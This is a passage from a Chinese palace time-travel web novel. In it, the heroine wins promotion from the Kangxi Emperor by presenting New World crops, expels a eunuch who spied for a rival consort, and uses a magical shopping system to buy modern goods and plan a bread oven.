康熙虽被辣得鼻尖冒汗,嘴唇泛红,却觉得浑身暖透,郁气尽消,连日来的疲惫似乎都被这辛辣的汤汁驱散了。
“痛快!”康熙接过梁九功递上的热毛巾擦了擦手,看向岑盐絮的目光带着满意。
他指了指那依旧红艳的锅底:“现在,可以告诉朕,这红油究竟是如何而来的了吧?还有你今晚如此殷勤,怕不只是为了让朕品尝美食那么简单吧?”
岑盐絮知道正题来了。
她起身,对着康熙郑重地行了一礼,声音清晰而恳切:“皇上圣明。妾身不敢隐瞒,此物名为辣椒,乃是仙师今日一同赐下之物,这红油锅底便是以其为主料熬制。仙师言,此物不仅可作调味,更能驱寒除湿,活络筋骨,于边关苦寒之地将士尤为有益。”
康熙闻言,立刻联想到了之前光幕上看到的辣椒种子说明,心中一动:“此言当真?”
“正是。”岑盐絮抬头,目光澄澈地望着康熙,“然而,仙师此次所赐,更有一关乎天下百姓温饱之神物!”
“哦?是何神物?”康熙身体微微前倾。
“红薯!”岑盐絮一字一顿地说道,“仙师说,此物耐旱耐瘠,产量极高,亩产可达数十石,甚至更多!且浑身是宝,块茎可做主粮充饥,藤蔓可做饲料,若遇荒年,便是能活人无数的宝贝!”
“亩产数十石?!”康熙猛地站起身,脸上是毫不掩饰的震惊与狂喜!
作为帝王,他太清楚高产作物意味着什么了!那意味着能养活更多的人口,意味着更强的国力,意味着更少的饥荒和流民!
这远比辣椒的驱寒功能更重要百倍千倍!他激动地在原地踱了两步,目光灼灼地看向岑盐絮,“那红薯现在何处?”
“仙师所赐三捆红薯藤,妾身已妥善收好。”
岑盐絮恭敬回道,“只是此物需要大片土地种植,妾身深知此物于国于民之重要,不敢有片刻耽搁,正想恳请皇上……”
她原本想顺势请求将红薯藤和辣椒种子交由皇庄试种,毕竟她前世出生就在城里,十指不沾阳春水,更没下地种过田,得到种子后,第一时间就想把种子交给专业的农民伯伯。
可话未说完,便被康熙打断了。
康熙看着她,眼中充满了欣赏,还有一丝难以言喻的复杂情绪。
这个女子,有机缘,能做出轨道车、精油这等巧物,如今更是献上辣椒、红薯这等利国利民的神物!她却从未以此挟功自傲,反而处处想着朝廷,想着百姓,这份心胸,这份无私,远胜朝中许多须眉!
他深吸一口气,压下心中的激动,沉声道:“岑常在!”
岑盐絮微微一怔,随即反应过来这是在叫自己,连忙垂首:“妾身在。”
“你献宝有功,心系社稷,深慰朕心!”康熙的声音带着不容置疑的威严和赞许,“朕即日起,晋你为常在,赐住……”
他略一沉吟,迅速在脑中过了一遍东西六宫的格局:“赐住启祥宫,享嫔位份例!”
启祥宫地界大,在西六宫,距离乾清宫和慈宁宫都比较近,万一岑盐絮遇上什么事,去找他或是找太皇太后都方便。
且启祥宫内目前没有主位娘娘,只有几个不好惹是生非的答应、常在居住,环境清静,正适合她钻研些东西,日后若是提位份,也方便些……
岑盐絮心中大喜,她原本只想着能顺利献上种子,没想到还有这般意外之喜!
独居一宫配殿,享嫔位待遇,这简直是地位的飞跃!她立刻行大礼,声音带着一丝恰到好处的哽咽:“嫔妾谢主隆恩!定不负皇上厚爱!”
康熙亲手扶了她起来,看着她亮晶晶的眼眸,语气温和了许多:“至于那种植之事,你无需操心,朕明日便安排最妥当的人手,在皇庄辟出专地,由你指点着,试种这辣椒与红薯,若有任何需求,直接禀报于朕。”
“是,嫔妾遵旨!”岑盐絮心中一块大石彻底落地。
康熙见她人虽然还在回话,但心思已经跑远了,知道她心里期待迁宫,他心下觉得有些好笑,便起身道:“你今日也劳累了,好生歇着,朕还有
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些政务要处理,改日再来看你。”
岑盐絮正巴不得能安静下来好好收拾收拾行李,闻言立刻从善如流地行礼:“恭送皇上。”
康熙带着梁九功等人离开后,没有立刻回乾清宫,而是转道去了慈宁宫给太皇太后请安。
慈宁宫内,康熙、太皇太后和皇太后三人齐齐看着那淡蓝色的光幕。
【每日秒杀已刷新,请及时查看。】
光幕上显示的不再是跟风购买,而是直接列出了四个商品图标和介绍:
海底捞芝麻蘸料:3两,蚝油(瓶装):5两,多功能插排:500两,超薄透气卫生巾(日夜组合装):15两。
与以往只能购买岑盐絮买过的商品不同,今天他们竟然可以直接从这四样里任选一样购买!
三人的视线齐齐落到多功能插排上,看到那高达五百两的价格,心中暗暗惊讶。
如此昂贵的价格,远超其他物品,这究竟是何等神物?功能介绍也是看得人云里雾里,难道能用它沟通雷霆不成?
而且这是岑氏唯一没有购买的商品,是不是就是因为这插排有独特之处,系统才特意在今日改变规则,暗示他们购买此物?
虽然完全不明白插排为何物,但一种“贵的就是好的”、“此物必定非同小可”的心理,让他不由得对其重视起来。
又看到前两个商品,康熙今日吃过,就跟她们描述了一下口味,皇太后十分想买。
最后,他们的目光扫过卫生巾,旁边的说明文字清晰地写着“女性月经期专用,透气舒适,卫生方便”。
几人脸上瞬间掠过一丝极不自然的尴尬,几乎是立刻移开了视线。
他们虽然能接受系统存在,但骨子里依旧保留着封建的保守与迂腐,因此无法直视这等涉及女子私密的物品。
康熙和皇太后下意识地想掠过此物,太皇太后面上看不出什么,只是拨动佛珠的手指微微顿了一下,却让他们二人从前三样物件里选两样,话外之音便是要去选择卫生巾了。
皇太后十分不解,太皇太后叹了口气,自己这个侄孙女,还得教。
身为天下女子典范,身为从草原飞出来的雌鹰,她们要做的,太多了。
最后,皇太后选了蚝油,康熙选了插排,分别支付了五十两和五千两。
微光闪过,众人齐刷刷地把目光投注在那长方形的、带着多个小孔和按钮的白色插排上。
一阵漫长的寂静。
皇太后:“然后呢?不是说能沟通雷电之力吗?”
23. 迁宫
翌日,迁宫的旨意便正式下来了。
启祥宫在西六宫中算是顶好的位置,岑盐絮要住进去的东配殿坐北朝南,光线充足,地界独立宽敞,比起围房的小院子,简直是一个天上一个地下。
岑盐絮带着春熙、夏禾、常喜以及几个粗使宫女和太监,一行人浩浩荡荡地入了启祥宫东配殿,殿内虽然久未住人,但显然内务府提前派人仔细打扫过,窗明几净,陈设虽不奢华,却也齐全规整。
“总算有个像样的窝了。”岑盐絮环顾四周,心情颇为舒畅。
她指挥着奴才们将带来的箱笼行李打开归置,东西不多,主要是康熙赏赐的那些绸缎、首饰、银两,以及她自己的几件衣裳和那宝贝似的蒸馏设备,至于那些不好见光的商品,都被她放进了系统空间里。
刚把东西大致安顿好,院门外就传来了动静——内务府总管太监赵昌亲自带着一队小太监,抬着许多东西,满面笑容地走了进来。
“给岑常在道喜了!”赵昌利落地打了个千儿,脸上的褶子都笑成了菊花,“皇上惦记着小主新迁宫苑,特命奴才送来赏赐,恭贺小主乔迁之喜!”
岑盐絮忙让人看座看茶,赵昌却连连摆手,恭敬地开始唱念赏赐单子。
这次赏赐比之前更加丰厚实惠:纹银百两,金锞子、银锞子各一盘;江宁织造进贡的云锦、蜀锦各四匹,颜色鲜亮,花纹繁复;一套赤金点翠头面,做工极其精致,光华璀璨;一对成色极好的和田玉镯,触手温润;另有官窑出的成套茶具、花瓶等摆设若干。
唱罢皇上的赏赐,赵昌又笑道:“依照规矩,小主既享嫔位份例,内务府也为您添置了相应的物件。”
他指着后面小太监们抬进来的东西:“这是梨花木的梳妆台、衣柜、多宝格,这是新的帐幔帘子,按嫔位份例,是杭绸的。还有日常用的瓷器、烛台、炭盆、份例内的茶叶、香料等等,都已齐备。”
接着,他又引见了内务府新拨派来的宫女和太监,依照嫔位待遇,她又添了四个粗使宫女和两个负责洒扫、搬运等杂役的小太监。
一时间,原本有些空荡的东配殿顿时显得充实热闹起来。
岑盐絮让春熙给赵昌和各位跑腿的太监都封了上等的赏封,赵昌接过,掂量着分量,脸上的笑容更真诚了几分,又说了许多吉祥话,这才带着人告退。
赵昌前脚刚走,后脚各宫妃嫔道贺的礼物便接踵而至。
佟贵妃身为后宫之首,出手极为大方,送的是一柄通体洁白无瑕的玉如意,寓意吉祥,价值不菲,钮祜禄妃送的礼比她略低一档,是一对成色不错的耳珰,并着一盒圆润饱满的珍珠。
荣嫔送了一对鎏金嵌宝石的镯子,样式新颖,分量十足,惠嫔送的是一套文房四宝,其中有一支上好的徽墨湖笔,安嫔送了一盆精心栽培的兰花,清雅脱俗。其他几位嫔位,如端嫔、敬嫔等,也各有表示,或是珠宝首饰,或是名贵衣料,礼数都十分周到。
这些贺礼,有几个人送的稍重几分,与其说是恭贺她晋位迁宫,不如说是因为她们昨日的冒犯给出的歉意和弥补,也是对她展示出的价值以及皇帝明显青睐态度的一种投资和示好。
后宫的人情世故,在这一份份精美的礼物中,展现得淋漓尽致。
然而,在这一片和谐的贺礼中,僖嫔送来的东西就显得格外扎眼,只是一个普普通通的小锦盒,打开一看,里面是一块颜色发暗、质地寻常的宫缎和一根赏赐宫女用的做工粗糙的银簪。
这份贺礼,寒酸小气到了几乎失礼的地步,几乎是把“我厌恶你”这几个字明晃晃地刻在了脑门上。
夏禾看着这份礼物,眉头微蹙,低声道:“小主,这僖嫔娘娘也太过……”
岑盐絮摆了摆手,示意她不必多说。
她拿起那根粗糙的银簪看了看,嘴角扯出一抹似笑非笑的弧度。
她其实在某种程度上,能理解僖嫔。作为赫舍里家的女儿、皇帝挚爱元后孝诚仁皇后的亲妹、当朝太子胤礽的姨母,僖嫔身上笼罩着太多光环,她恐怕一直以为,皇帝的另眼相看、太子的天然亲近、满宫妃嫔的羡慕巴结,都该是她唾手可得的东西。
可现实是,康熙对她并无特殊恩宠,太子似乎也更喜欢和他毫无血缘关系的自己,那些她自以为理所当然的优待,如今看来,竟似乎都被自己这个汉军旗包衣出身的卑贱女子夺走了。这种巨大的心理落差,足以让一个本就心高气傲的人心态失衡。
她理解僖嫔因出身和期望带来的傲慢与失落,但她看不上僖嫔这般将情绪赤裸裸摆在明面上、行事小家子气的行为。
真正的对手,该是像佟贵妃、荣嫔那样,即便心中不喜,面上礼数也滴水不漏,暗中筹谋的人,僖嫔这般,反倒不足为惧了。
说起来,她这般不顾礼法,不过是看岑盐絮出身卑微罢了。
看着这寒酸的礼物,岑盐絮脑海中关于原主父亲的模糊印象忽然清晰了一些,那是个高瘦、面容朴实甚至带着些书卷气的男人。
按照汉人包衣的常规人生轨迹,他本可以毫不费力地接过内务府的铁饭碗,安稳度日。但他偏偏很有出息,也肯上进,硬是凭着自己的本事读书科举,一路考中了进士,真正靠自己的能力当上了朝廷命官,光耀了门楣。
想到此,岑盐絮非但不以出身自卑,反而对那位素未谋面的父亲生出了几分敬意。
“把东西收起来吧,登记在册。”岑盐絮淡淡吩咐,她捏着那根银簪,并未因此感到被侮辱,只觉得僖嫔也太沉不住气,手段低劣得可笑。
春熙他们动作很麻利,不一会儿就把所有的赏赐登记在册了。
唯独剩下岑盐絮手中的银簪。
春熙问询她:“小主,这簪子?”
岑盐絮早就想好了对策,扬声道:“春熙,把咱们宫里所有的人都叫到院子里来,无论是跟着我从围房过来的,还是内务府新分派来的,一个不许少。”
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“是,主子。”春熙虽不明所以,但见主子神色平静中带着一丝冷意,不敢怠慢,立刻去传令。
很快,东配殿前的小院里便站满了人。
以春熙、夏禾、常喜为首,后面跟着四个粗使宫女和四个小太监,一共十一人,都有些惴惴不安地看着站在台阶上的岑盐絮,不知这位新主子意欲何为。
岑盐絮目光平静地扫过众人,手里依旧把玩着那根银簪,阳光照在劣质的簪子上,反射出些许暗淡的光。
她缓缓开口,声音不高,却清晰地传入每个人耳中:“今日迁宫,辛苦大家了,往后启祥宫东配殿的各项事宜,还需倚仗诸位尽心尽力。”
众人忙躬身道:“奴才/奴婢不敢,愿为主子效劳。”
岑盐絮点了点头,脸上露出一丝浅笑,视线在人群中逡巡,最后落在了一个站在太监队列中间、个子不高、面容普通的小太监身上。
她记得他,是上次升常在份例时,内务府送来的,名叫小禄子。
“小禄子。”岑盐絮唤道,声音温和。
那小禄子浑身一激灵,连忙出列,跪倒在地,声音带着一丝不易察觉的紧张:“奴才在,主子有何吩咐?”
岑盐絮唇角噙着一丝若有若无的笑意,缓步走下台阶,裙裾拂过青石板,无声无息。
她在跪伏于地的小禄子面前站定,声音温和得如同春日暖风:“今日迁宫,上下忙碌,你也辛苦了,我要好好赏赐你一番。”
小禄子心头狂喜,仿佛看到锦绣前程在向自己招手,连忙将头磕得砰砰响,声音因激动而微微发颤:“奴才多谢小主恩典!能为小主效力是奴才几辈子修来的福分,都是分内之事,万万当不起小主一声辛苦!”他几乎能想象到周围同伴羡慕的眼神。
岑盐絮静静地听着他表忠心,脸上那抹浅淡的笑意未变,只是眼底的温度一点点冷了下去。
她不再多言,捏着那根劣质银簪的指尖一松。
“哐当”一声脆响。
那根银簪,径直砸在了小禄子光洁的额头上,随即又弹落在地,在青石板上发出刺耳的刮蹭声。
小禄子被这突如其来的一击砸懵了,额头上传来清晰的痛感。
他下意识地捂住被砸中的地方,看向落在地上的银簪,眼中充满了错愕,甚至忘了呼痛。
他一个太监,要这女人家的簪子何用?
但主子赏赐,他不敢不接,只得捡起簪子,双手过头,恭敬地举着:“谢主子赏。”心里却嘀咕着,主子莫非是高兴糊涂了?
他刚要把簪子收起来,却听岑盐絮又开口了,声音依旧平淡,却带着一股无形的压力:“怎么?不问问,我为何赏你这根簪子?”
小禄子手一抖,笑道:“主子赏赐,是奴才的福气,奴才不敢多问。”
“哦?是吗?”岑盐絮轻笑一声,笑声里却没什么温度,“可这簪子,它原来的主子,怕是惦记着你呢。”
24. 苏麻喇姑
小禄子脸上的血色瞬间褪去,拿着簪子的手开始微微颤抖。
岑盐絮居高临下地看着他,声音冷了下来:“僖嫔娘娘送来的这份厚礼,我思来想去,觉得还是转赠给你最合适。”
“毕竟,若不是你尽心尽力地将我闭门制香的消息及时递了出去,僖嫔娘娘又如何能‘恰巧’得知,又如何能‘关心则乱’地领着贵妃娘娘和诸位娘娘前来‘关怀’我呢?”
她每说一句,小禄子的脸色就白一分,等到她说完,小禄子已是面无人色,冷汗涔涔而下,整个人瘫软在地,手里的银簪哐当一声掉落在青石板上。
“这样说来,我升位份,还是沾了你的光呢。”
“主子饶命!奴才……奴才没有……”他语无伦次地想辩解。
“没有?”岑盐絮打断他,目光锐利如刀,“夏禾。”
一直沉默站在一旁的夏禾上前一步,沉声道:“回主子,奴婢查问过,昨日巳时三刻,小禄子借口去内务府领份例,离开了约莫两炷香的时间,守宫门的太监看见,他曾在通往翊坤宫方向的宫道附近徘徊。”
翊坤宫是僖嫔居住的宫殿,小禄子消失时间和僖嫔得到消息跑去承乾宫告状的时间也恰巧吻合。
证据确凿,小禄子再也无法狡辩,只能磕头如捣蒜,涕泪横流:“主子饶命!奴才知错了!是僖嫔娘娘身边的宫女逼奴才的!奴才再也不敢了!”
岑盐絮看着他那副样子,眼中没有丝毫怜悯:“我这里庙小,容不下有二心的奴才。夏禾,常喜。”
“奴才在。”夏禾和常喜齐声应道。
“把他送回内务府去。”岑盐絮转身,不再看地上瘫软如泥的小禄子,声音清晰地传遍整个院子,“手脚不干净,或者心思活络过了头的,我用不起,也不敢用。”
“嗻!”夏禾和常喜立刻上前,一左一右将几乎吓晕过去的小禄子架了起来,毫不客气地拖了出去。
院子里鸦雀无声,剩下的奴才个个噤若寒蝉,低垂着头,连大气都不敢喘。
他们算是见识到了这位新主子的手段,看着温和好说话,实则眼里揉不得沙子,心思缜密,处置起人来更是干脆利落,毫不拖泥带水。
岑盐絮目光再次扫过众人,语气缓和了些,却依旧带着警示:“都起来吧。今日之事,望诸位引以为戒,在我这里当差,不需要你们有多大的本事,只需记住两个字:忠心。做好了,我自然不会亏待,若有人心存侥幸……小禄子就是前车之鉴。”
“被退回内务府的奴才,下场如何,我相信,你们比我更清楚。”
这一招杀鸡儆猴,效果立竿见影,众人齐声答道:“奴才/奴婢谨记主子教诲!定当忠心耿耿,绝无二心!”
经此一事,这些人算是彻底被紧了紧皮,再不敢有丝毫懈怠和别样心思,岑盐絮立威的目的,已然达到。
不过只是立威,还不够,盯着奴才们将殿内洒扫干净,忙活得差不多时,岑盐絮把春熙召来,让她给宫女太监们拿赏赐,恩威并施才能拢住人心。
做完这么多事之后,岑盐絮松了口气,以为今日的热闹总算告一段落,可以闲下来喝口茶时,殿外突然传来一阵略显急促的脚步声。
守在门口的常喜几进来禀报:“主子!苏麻喇额涅格格来了!带着太皇太后的赏赐!”
岑盐絮立刻站起身,整理了一下衣襟发簪,快步迎了出去。
只见苏麻喇姑穿着一身深褐色的宫装,面容严肃却不失温和,身后跟着几位慈宁宫的太监,手里捧着或抬着几个看起来就分量不轻的锦盒。
“奴婢给岑常在请安。”苏麻喇姑微微屈膝。
“您快请起,折煞我了。”岑盐絮哪里敢受她的礼,连忙侧身避过,亲手虚扶了一下。
苏麻喇姑站直身子,脸上露出一丝淡淡的笑意:“太皇太后听闻常在乔迁之喜,特命奴婢送来些许赏赐,以示庆贺。”
岑盐絮恭敬地向着慈宁宫的方向行礼:“嫔妾谢过太皇太后,日后定当克尽己责,侍奉皇上。”
苏麻喇姑点了点头,开始唱念赏赐:一对色泽沉郁的紫檀木嵌螺钿
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如意、一串一百零八颗的沉香木念珠、四匹江南进贡的缂丝衣料、另有人参、鹿茸等名贵药材若干。
慈宁宫的赏赐一到,殿里的气氛顿时又不一样了——连苏麻喇姑都亲自来了,所有奴才,无论是跟着岑盐絮从围房过来的老人,还是内务府新拨来的新人,腰杆都不自觉地挺直了几分,脸上带着与有荣焉的恭敬。
送走了苏麻喇姑,岑盐絮看着册子上登记得密密麻麻的赏赐和贺礼,粗略算了算价值,不由得暗暗咋舌。
抛开那些不好估价的御赐之物和名贵衣料、摆设,光是现银、金锞子、银锞子加起来,就有几百两!这还不算后宫诸位妃嫔送的首饰珠宝。
“发财了……”她心里美滋滋地想,这下总算有点底气了,等下午系统刷新,看到合适的商品,可以放心大胆地买了!
不过,兴奋归兴奋,她还没忘记正事。
如今搬进了启祥宫,虽然宫里没有主位娘娘,不必日日请安,但规矩不能废。
皇后已去,中宫笺表由佟贵妃执掌,自己迁宫的各项事宜也是过了她那里的明路,于情于理,都该去拜见一番。还有太皇太后那边,虽然她老人家基本不见低位妃嫔,但赏赐既然到了,自己就必须表现出感恩和恭敬的态度,去慈宁宫门外磕个头是起码的礼数。
想到这里,她立刻唤来常喜:“去贵妃娘娘那儿递个牌子,就说我今日迁宫安顿好了,想去给娘娘磕个头谢恩,请娘娘示下何时方便。”
常喜领命而去。没多久便回来禀报:“主子,贵妃娘娘身边的姑姑说了,娘娘体恤您今日搬迁辛劳,让您上午好好歇息,安排妥当。若下午得闲,过去坐坐便是,娘娘下午都在承乾宫。”
岑盐絮心下稍安,佟贵妃至少面上态度是很和善的。
接下来便是等待下午去见佟贵妃,岑盐絮心思活络起来,琢磨着如何完成三人拼团的任务,根据前两次的经验,需要她在三人以上的场合,主动向人推荐或展示系统相关的商品。
岑盐絮翻着系统空间,纠结,推荐什么好呢?
25. 拜见
“总不能一上去就跟贵妃娘娘推荐卫生巾和麻酱吧?”岑盐絮自己都觉得这画面太美不敢看。
她目光落在了梳妆台上那两个小小的琉璃瓶上,里面装着可怜巴巴、费了她好大劲才提炼出的些许月季精油。
“舍不得孩子套不着狼……”她咬咬牙,决定带上一瓶精油作为见面礼。
打定主意,她小心地将一瓶月季精油用锦盒装好。
下午,估摸着时辰差不多了,岑盐絮便带着春熙,拿着准备好的锦盒,往承乾宫去。
承乾宫不愧是贵妃居所,殿宇轩昂,陈设华美而不失雅致,佟贵妃端坐上位,穿着一身藕荷色缎绣云纹的常服,气度雍容。
令岑盐絮有些意外的是,下首还坐着一位穿着湖蓝色宫装的女子,是敬嫔王佳氏。
她不是惯常自持身份,保持着汉军旗的清高,常与安嫔出双入对吗,今日怎么和贵妃走到一起去了?
“嫔妾给贵妃娘娘请安,娘娘万福。给敬嫔娘娘请安。”心中思绪千回百转,岑盐絮面上却没露出什么讶异,面色如常地规规矩矩地行下礼去。
“快起来吧,赐座。”佟贵妃声音温和,脸上带着浅浅的笑意,“启祥宫一切可好?可有什么不顺心的地方,妹妹尽管说。”
敬嫔也笑着搭话:“是啊,贵妃娘娘最是体贴,若有不便之处,妹妹尽管提就是。”
岑盐絮连忙道:“多谢姐姐们关怀,启祥宫一切都好,今日嫔妾特来拜见贵妃娘娘,感谢娘娘平日照拂之恩。”说着,示意春熙呈上锦盒。
“这是月季精油,气味比寻常花香醇厚持久些,姐姐们上次见过的,沐浴、润发时滴上几滴,或是熏香时用上都可。”岑盐絮又看向敬嫔,不好意思地笑着解释道,“精油难得,只做出了这一瓶,姐姐……”
“无碍,你对贵妃娘娘有这份心,就是极好的。”敬嫔一副她都理解的表情。
佟贵妃示意宫女接过打开,锦盒内是一只小巧的白瓷瓶,瓶塞一开,一股浓郁而纯粹的月季香气便弥漫开来,比那天闻到的月季花香还要醇厚些。
“这香气倒是特别。”佟贵妃拿起瓶子细看,赞道,“妹妹果然心思灵巧。”
敬嫔也凑近闻了闻,惊叹道:“真香!比内务府送来的花露味道好多了!”
岑盐絮忙道:“娘娘们过奖了,一点微末心意,不成敬意。”她一边应付着两位高位妃嫔的问话,一边在心里默默呼唤系统。
果然,就在她献上精油,并与佟贵妃、敬嫔又寒暄了几句之后,脑海中清脆的“叮”声响起——
【检测到有效三人以上场合,身份判定:贵妃、敬嫔。符合拼团触发条件!】
【随机任务:向当前场合中的至少一人成功赠送并介绍系统相关商品。(已完成)】
【任务奖励发放中……】
“不知除了月季,还有其他花卉能被做成精油吗?”佟贵妃突然道。
于是岑盐絮强压下心中的激动,又陪着佟贵妃和敬嫔说了一会儿话,精油的话题过后,大多是听两位娘娘询问她迁宫后可还缺什么,又提点了几句宫中规矩,态度都算温和。
约莫过了两炷香的功夫,岑盐絮见时机差不多,便适时起身告退。
佟贵妃也未多留,笑着让她有空常来坐,并让身边一位得脸的贴身宫女亲自送她出承乾宫。
那宫女一路陪着笑,说着“小主往后必定福泽绵长”之类的客气话。
岑盐絮面上含笑应着,心思却早已飞到了系统奖励和即将刷新的秒杀商品上去了。
她强压着内心的雀跃,扶着春熙的手,脚步看似平稳,实则有些急躁地回到了启祥宫东配殿。
一进内室,挥退了左右,她便迫不及待地凝神唤出系统界面,首先查看起刚才拼团任务的奖励。
【恭喜宿主,获得无副作用24小时避孕药三盒。(物品已自动存入商品暂存空间)】
避孕药?!
还是无副作用的!
岑盐絮先是一愣,随即涌上一股狂喜,这系统……也太懂她了吧!
虽说侍寝是不可避免的,康熙年轻力壮,子嗣繁茂是史实,但对她个人而言,初来乍到,根基未稳,这后宫看似花团锦簇,实则暗流汹涌。
若能晚些怀孕,不仅能让身体在这医疗条件落后的古代得到更充分的适应和调养,也能让她有更多时间和精力去经营自己的地位——毕竟,主位以下不能亲自养育皇子的规矩还在那里立着呢。
等将来时机成熟,她的位份再提上去一些,或许还能借助系统提升这里的医疗水平,届时再考虑子嗣,无疑会安全许多。
这奖励,简直是雪中送炭,正好解了她心底深处一份隐忧。
“系统,你总算干了回人事!”她忍不住在心里给系统点了个赞。
心下一块大石落地,她这才有闲情去
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看今日的每日秒杀。
光屏刷新,四个商品图案清晰呈现:
《面包的起源与演变》精装图册,原价:10两银子。
氯雷他定片(防过敏药,一盒12片),原价:40两银子。
清爽防晒霜(SPF50+PA+++,50g),原价:20两银子。
水乳精华套装,原价:50两银子。
每样下方都标注着限购十份,以及一文钱的秒杀价。
岑盐絮快速扫过,目光在第一个商品上停留了片刻。
《面包的起源与演变》?
书名透着一股子现代味儿,让她感到一阵莫名的亲切。
万一里面还附带些古今面包的制作方法,那更是意外之喜了,说不定以后还能自己琢磨着解解馋。就冲这份他乡遇故知,也得买一本看看。
防过敏药更不用说,虽然岑盐絮目前没发现自己有什么过敏原,但有备无患嘛,必须得买。
至于防晒霜和水乳套装,虽然这个年代的胭脂水粉确实天然,但护肤效果有限。
她自己这张脸,还有这身好不容易养得细腻了些的肌肤,可得好好呵护,岑盐絮一直是一个对自己很好的人,所以这两样也必须至少买一份。
秒杀机会自然要用在最贵的商品上。她毫不犹豫,集中意念选择了水乳套装,支付一文钱。
微光一闪,一套包装简洁大方的水乳套装出现在梳妆台上。
接着,她开始大手笔地扫货。
“购买防过敏药,3份。”
【支付成功,扣除120两银子。】
“购买防晒霜,1份。”
【支付成功,扣除20两银子。】
“购买《面包的起源与演变》,1份。”
【支付成功,扣除10两银子。】
看着数额锐减的银子,岑盐絮感到一阵肉痛,这钱花得跟流水似的,刚才还觉得自己是个小富婆,转眼就又有了危机感。
“必须得想办法开源!”她心中搞事业的念头越发强烈。
不过,眼下还是先享受一下战利品带来的快乐。
水乳是她前世惯常用的牌子,岑盐絮把它们放到空间里,没有太多的好奇。
过敏药、防晒霜暂时用不上,也被放到空间里。
她看向那本大部头的书。
那么厚一本,内容一定有些有用之处吧?!
26. 面包窑
岑盐絮饶有兴致地拿起那本厚厚的《面包的起源与演变》,靠在软枕上翻看起来。
书中图文并茂,从最古老的无酵饼到现代琳琅满目的面包种类,介绍得详实有趣。
那些彩色的图片,清晰的步骤分解,让她仿佛回到了穿越前读书的时光,一种久违的亲切感油然而生,读得津津有味。
正看到兴起处,她翻到了一章专门讲述烘焙设备演变的内容,当看到其中一页关于“户外砖石结构面包窑”的详细介绍时,她的眼睛猛地亮了起来。
这种面包窑结构相对简单,主要用砖石和黏土就能搭建,利用柴火加热窑体,蓄热性能极好,一次加热可以连续烘烤多批面包,甚至还能用来烤披萨、烤鸡!
最最重要的是,书里还附了清晰的构造剖面图和尺寸参考!
这不就是现成的、完全可以依靠这个时代技术水平实现的宝贝吗?!
岑盐絮兴奋地坐直了身子,脑海中已经浮现出香喷喷、外脆内软的面包出炉的画面了,她已经好久没吃过香香软软的小面包了,还真是有些想念。
可这股兴奋劲儿还没持续多久,就像被泼了一盆冷水,迅速熄灭了。
她如今只是个常在,虽然享嫔位份例,但独立的小厨房还没影呢。
在宫里大兴土木,砌这么个显眼的面包窑,怕是窑还没热,弹劾她的枕头风就先吹到康熙耳边了,僖嫔那些人正愁找不到她的错处呢。
可不造吧,看着这明明能实现的法子,心里又跟猫抓似的,觉得亏大了,就好比守着一座金山却不能挖,难受得很。
就在她捧着书,秀眉微蹙,内心天人交战之际,门外传来了熟悉的请安声——是康熙到了。
岑盐絮连忙放下书,起身整理了一下微乱的衣襟迎驾。
“给皇上请安。”她依规矩行礼,心中对康熙的到来并无多少意外,抬位份第一天,按理说当天皇帝都会给个体面。
康熙抬手虚扶了她一下,目光不经意间扫过榻上那本装帧风格迥异的精装书册。
“今日怎的有闲情看书?”
岑盐絮心下微动,顺着他的视线看向那本书,解释道:“回皇上,是仙师送来的一本杂书,讲的是西方一种名为‘面包’的主食的来历和做法,嫔妾看了看,这面包确实与咱们这边的食物有些不同,很是新奇。”
康熙走过去,随意翻了两页,看到线条精准的图画、色彩鲜艳的食物照片,十分惊奇。
事实上,今日秒杀商品刷新时,康熙与太皇太后、皇太后眼前的光幕也同步更新了。
这本《面包的起源与演变》虽引人好奇,但三人更关注的,是那标注着“可缓解花粉、尘螨等引起的鼻塞、流涕、红疹、皮肤瘙痒等症状”的防过敏药。
几乎是毫不犹豫,三个人齐心协力,将三十份的限购份额的药物尽数拿下,并没有选择其他商品。
此刻康熙见岑盐絮这里有这本书,自然想仔细看看其中内容。
康熙随手翻看着,感叹:“这书上的图案真是细致。”
“是啊,”岑盐絮凑近些,指着书上的图片,“您瞧,他们这面食做法,与咱们的蒸、烤、炸都不太一样,更像是用一种持续的、均匀的热力去烘熟。”
两人就着书上的内容讨论了几句西方饮食的差异,气氛轻松,岑盐絮见康熙兴致不错,心一横,决定抓住这个机会。
她翻到之前看到的面包窑那页,指尖点着那个砖石结构的示意图,语气带着几分恰到好处的探索欲:“皇上,您看这个。书中说,用砖石和泥浆砌成这么个窑,用柴火从里面烧热,熄了明火后,利用窑壁积蓄的热力来烘烤食物。据说烤出来的面食别有风味,外皮焦脆,内里松软。”
铺垫一番后,图穷匕见:“嫔妾瞧着,这法子似乎并不算复杂?用料也都是寻常砖石泥土。不知咱们能不能也试着造一个这样的东西?就在宫里找个角落,妾身也想尝尝这书上说的面包是何滋味。”
她说完,略带紧张地看向康熙。
康熙凝神看着那结构图,又看了看旁边标注的简单原理。
他自幼聪慧,对格物之学亦有涉猎,稍加思索便明白了这窑的大致工作原理,确实如岑盐絮所言,用料普通,工艺看起来也十分简单。
他抬眼,看到岑盐絮那双亮晶晶的、充满期待的眼睛,心中不由一软。
不过是满足她一点口腹之欲,砌个灶具而已,算不得什么大事。
“既然爱妃有兴趣,试试也无妨。”康熙合上书,语气带着一丝纵容,“启祥宫后院正好空置,地方还算宽敞,明日朕便让营造司派两个熟手的工匠过来,你把这图给他们看,让他们照着做便是。”
岑盐絮闻言,心中大喜,连忙屈膝谢恩:“谢皇上恩典!”
康熙看着她欣喜的模样,嘴角也微微上扬。
当晚,康熙宿在了岑盐絮这里。
红烛帐暖,被翻红浪,婉转承欢,自是另一番旖旎风光。
翌日,天刚蒙蒙亮,启祥宫后殿那处闲置的小院便热闹起来。
营造司派来了两名经验老道的工匠,岑盐絮让春熙拿着夏禾根据书中面包窑页面复刻出来的立体图,仔细同他们讲解了结构和要求,工匠们虽觉这物事新奇,但原理简单,用料也常见,便领命开始动工。
岑盐絮过去远远看了一眼,见他们动作麻利,虽然心中期待,却也知这事急不得,等面包窑建好,还得再等泥坯干透,接着小火暖窑,才能进行第一次烤制,少说也得等上三天。
用过早膳,她便记起另一桩要紧事——去慈宁宫谢恩,太皇太后的赏赐分量极重,这份脸面她必须兜着,无论如何也要在慈宁宫门外露露脸、磕个头,心意得到。
她仔细换了身藕荷色绣缠枝莲的常服,梳妆得体而不逾矩,带着夏禾,规规矩矩地往慈宁宫去。
递了牌子,她垂首静候在宫门外,心里盘算着该如何措辞,更多的是做好了被婉拒的准备。
毕竟,照常理而言,以常在的身份,想见太皇太后一面,难如登天。
